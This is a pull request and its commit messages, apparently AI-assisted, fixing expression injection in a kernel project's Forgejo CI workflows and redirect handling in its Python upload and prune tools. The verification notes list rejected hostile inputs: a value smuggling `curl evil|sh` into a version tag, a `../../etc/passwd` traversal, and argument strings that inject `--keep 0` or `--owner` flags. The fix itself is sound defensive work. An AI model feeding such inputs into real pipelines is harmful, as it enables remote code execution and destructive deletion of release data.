fix(ci): pass runner expressions via env:, assert 2xx on upload #29
Loading…
Add table
Add a link
Reference in a new issue
No description provided.
Delete branch "fix/workflow-injection-and-http-status"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
The defect
Forgejo's preprocessor substitutes an expression template into a
run:script's text before bash parses it. A value containing a double quote closes the assignment's quote at parse time and everything after it is shell code. The surrounding quotes are no protection — and neither is any validation the script does afterwards, because the injection happens before that validation runs.Ten sites were splicing values this way. Two matter:
publish.yml:74-75readinputs.versionandinputs.distribution— a free-textworkflow_dispatchbox — in the job holdingREGISTRY_TOKEN,RELEASE_TOKEN,MANIFEST_COMMIT_TOKENandFASTLY_PURGE_TOKEN. That is upload-to-the-apt-repo plus push-to-main: precisely the human gate spec §6.1 and this workflow's own header comment exist to enforce.build-kernel.yml:145,188readgithub.ref_namein the job that materializesKERNEL_SIGNING_KEY.The other five (
cve-watch.yml×4,repro-check.yml×1) are not currently reachable — their values are regex-filtered upstream — but the pattern is the defect, so they go too. Every one of these files already usedenv:correctly elsewhere; these steps were the exceptions.Quoting is not sufficient for publish.yml
$tagbecomes a path component (releases/<tag>/manifest.json), agit commit -margument, and a registry URL segment — so../../xis harmful while being perfectly quoted. The resolve-target step now validates the tag grammar (same asbuild-kernel.yml's derive-version:vX.Y.Z-hardenedN[.P], N/P ≥ 1, no leading zeros) and allowlists the distribution. Validating once here means every downstream consumer, which already usesenv:correctly, inherits the guarantee.Regression guard
A third rule in
validate.yml'sworkflow-expressionsjob: a template may appear only as a YAML mapping value, never on or inside arun:body. Writing that rule is what found the tenth site —repro-check.yml:69, where the value is an unvalidated directory name straight fromfind releases/, now also filtered to release-tag-shaped names.Same class, in the Python
publish.pytreated any status below 400 as success. The origin sits behind a reverse proxy; a route answering the PUT with 301/302 stores nothing, andhttp.clientdoes not follow redirects. The oldstatus >= 400gate let a 301 fall through torecord["status"] = 301— printinguploaded …, recording a publish that never happened, purging Fastly, and exiting green over an empty repository. Now asserts 2xx and reports theLocationheader.prune.py'shttp_get/http_delete/download_fileusedurllib.request, which follows redirects and downgrades 301/302/303 to GET. A redirected DELETE would be replayed as a GET and its 200 reported as a successful deletion — on the path whose very next step treats the archive copy as the only remaining one. All three now use a no-redirect opener, and the delete requires 200/204. Unverified against a live redirect, but the same defect class as thepublish.pyone, on the destructive side.Verification
The new validator was tested in both directions by extracting the real job body from
validate.yml(so the test can't drift from the implementation):run:body → exit 1, correct messagerun:→ exit 1, correct messagepublish.pystatus handling, with_stream_putmonkeypatched across the range:SystemExit— "is not 2xx, so nothing was stored"SystemExit— existing versioning-bug message, unchangedSystemExit— existing paths, unchangedTag/dist guards, 11 cases: accepts
v7.1.5-hardened1,v7.1.5-hardened1.2,v7.0.10-hardened1.5,bookworm; rejectshardened0,hardened01,hardened1.0,../../etc/passwd,v7.1.5-hardened1";curl evil|sh;#,sid, andtrixie --keep 0.Also confirmed the
cve-watchissue body renders byte-identically after the env conversion (simulated end-to-end with the templates substituted), and that all seven workflows still parse with their expected job sets.Validators:
shellcheck build/*.sh tools/*.shclean,yamllint -d relaxed .forgejo/workflows/exit 0,py_compile tools/*.pyclean.Not in this PR
prune.pystill hardcodesSOURCE_COMPONENT = "main"while publishes spanmain+debug, so a real rotation aborts partway through on the-dbg404. Do not dispatchprune.ymlwithconfirmset until that lands — it is tracked separately.🤖 Generated with Claude Code
Forgejo's preprocessor substitutes an expression template into a `run:` script's TEXT before bash parses it. A value containing a double quote therefore closes the assignment's quote at parse time and everything after it is shell code -- the surrounding quotes are no protection, and neither is any validation the script performs afterwards, because the injection happens before that validation runs. Ten sites were splicing values in this way. Two of them matter: - publish.yml:74-75 read `inputs.version` and `inputs.distribution`, a free-text workflow_dispatch box, in the job holding REGISTRY_TOKEN, RELEASE_TOKEN, MANIFEST_COMMIT_TOKEN and FASTLY_PURGE_TOKEN -- upload to the apt repo and push to main, i.e. exactly the human gate that spec §6.1 and this workflow's header comment exist to enforce. - build-kernel.yml:145,188 read `github.ref_name` in the job that materializes KERNEL_SIGNING_KEY. The rest (cve-watch.yml x4, repro-check.yml x1) are not currently reachable -- their values are regex-filtered upstream -- but the pattern is the defect, so they go too. Every one of these files already used env: correctly elsewhere; these steps were the exceptions. Quoting alone is not enough for publish.yml: $tag becomes a path component (releases/<tag>/manifest.json), a `git commit -m` argument and a registry URL segment, so `../../x` is harmful while perfectly quoted. Validate the tag grammar and allowlist the distribution once at resolve-target; every downstream consumer already uses env: and inherits the guarantee. Add a third rule to validate.yml's workflow-expressions job so this cannot regress: a template may appear only as a YAML mapping value, never on or inside a `run:` body. Writing that rule is what found the tenth site, repro-check.yml:69 -- where the value is an unvalidated directory name from `find releases/`, now also filtered to release-tag-shaped names. Also, same class in the Python: - publish.py treated any status below 400 as a successful upload. The origin sits behind a reverse proxy; a route answering the PUT with 301/302 stores NOTHING, and http.client does not follow redirects. The old gate recorded {"status": 301} in the manifest's publishes[], printed "uploaded ...", purged Fastly and exited green over an empty repository. Assert 2xx and report the Location header, which is the actionable part. - prune.py's http_get/http_delete/download_file used urllib.request, which follows redirects AND downgrades 301/302/303 to GET. A redirected DELETE would be replayed as a GET and its 200 reported as a successful deletion -- on the path whose next step treats the archive copy as the only remaining one. Route all three through a no-redirect opener and require 200/204 on the delete. Unverified against a live redirect, but the same defect class as the publish.py one, on the destructive side. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>build-kernel.yml creates the Forgejo release as a DRAFT by design -- that is the human review gate. publish.yml can read a draft's assets because it sends the token, so every step above succeeds while the release is still a draft, which is exactly why the un-draft was easy to forget. Nothing in any workflow did it, and it appeared in no runbook. Until it happens, an anonymous GET of the release assets 404s, which breaks: docs/users/secure-boot.md (users wget unredacted-hardened.der to enrol MOK -- without it they cannot boot the kernel they just installed on a Secure Boot machine), docs/users/verifying-packages.md (the same download plus the fingerprint published in the release notes), and docs/users/cve-policy.md (the releases RSS feed is the announced CVE-response channel, and drafts do not appear in it). To be accurate about severity: this is NOT a live outage. Checking the server, every release shows status `released` and the .der returns HTTP 200 -- the operator has been doing it by hand. The defect was a required manual step that existed in no runbook (now documented as first-build.md step 10a, in a separate change) and no automation. Placed LAST, after the registry publish and the manifest commit, so a failure earlier leaves the release a draft rather than announcing a half-published one. Idempotent: it reads `.draft` first and exits early if already published, so re-running publish is safe. Two properties worth recording: - It does not weaken the human gate. publish.yml is itself workflow_dispatch-only, so a human still decides when this runs. - It cannot recurse into this workflow's own `release: published` trigger: Forgejo emits no event on the draft->published transition, verified and documented at the top of this file. The release id comes from the LIST endpoint, not /releases/tags/{tag}: some Forgejo versions filter drafts out of the by-tag lookup and return a null id. Same reason and same pattern as build-kernel.yml's release-creation step. Finally, it verifies the assets are reachable WITHOUT credentials and warns if not. A 200 from the PATCH is not the same property as a user being able to fetch the certificate, and the second one is what the docs promise. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>prune.yml was unsafe to run for real. A rotation would have aborted partway through, after deleting from main and before the Fastly purge -- the exact state the code's own comments say the purge exists to prevent. Root cause: SOURCE_COMPONENT was hardcoded to "main" when building the download/delete coordinate, but publishes span TWO components. publish.yml splits the -dbg package into `debug` and everything else into `main`; verified across every manifest in releases/, the split is {'main': 79, 'debug': 12}. So the -dbg file's `main` coordinate 404s, download_file raised SystemExit, and because the rotation was a plain list comprehension that exception killed the whole run -- leaving main's Packages index advertising pool files that no longer exist, and apt 404ing mid-install for users. Fixes: - Resolve each file's component from releases/*/manifest.json's publishes[], which is publish.py's own authoritative record of where it put each file. Fall back to the naming rule mirroring publish.yml (*-dbg_* -> debug) for files published before manifests recorded it, or when a manifest is unreadable -- a malformed manifest must not abort a rotation either. - Contain failures per file. Every step can raise SystemExit; each is now caught, recorded, and the loop continues. Critically: NEVER delete when the archive step failed, so a file is never removed from main without a copy in archive. - Verify the archive copy before deleting. download_file wrote whatever arrived and checked nothing, so a connection dropped at 180 MB of a 227 MB image produced a truncated file that upload_deb would faithfully store (Content-Length comes from os.stat, so the request is self-consistent) -- and then the good copy in main was deleted. Compare the downloaded size against what the registry reports. - ALWAYS purge, over the union of components actually touched plus archive. Previously a hardcoded (main, archive) pair, which left `debug`'s index stale after a -dbg deletion; and the purge was skipped entirely on an abort, which is the worst available outcome. Exit non-zero afterwards with a per-file summary. - Reject --keep < 1. 0 would archive the entire history of every line not in configs/lines.toml, and 7.0 is no longer registered -- so a 0 typed into a dispatch box would sweep eight releases out of main. Per-line keep_in_main = 0 stays the sunset knob: it lives in a committed file that gets read in review, not a workflow input box. - prune.yml built its argv by string concatenation and relied on word-splitting, so keep="3 --owner someoneelse" or distribution="trixie --keep 0" injected flags into a destructive tool. Now validated and passed as an array. The SC2086 suppression that sat there silenced the warning about exactly this, and never did anything anyway: shellcheck does not lint workflow YAML. Tests: select_versions_to_archive had none, despite deciding what gets deleted. Added doctests matching the convention parse_version already used -- newest-N retention, .P-rebuild handling, per-line independence (7.1 churn must not evict 7.0), the keep=0 sunset, and an unparseable version being left in main. Two of my initial expectations were wrong about the return ORDER; the tests caught that, which is the point. Wired `python3 -m doctest tools/prune.py tools/lines.py` into the pycompile job, plus a `lines.py stable-series` smoke test so a malformed configs/lines.toml fails in CI rather than during a build. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>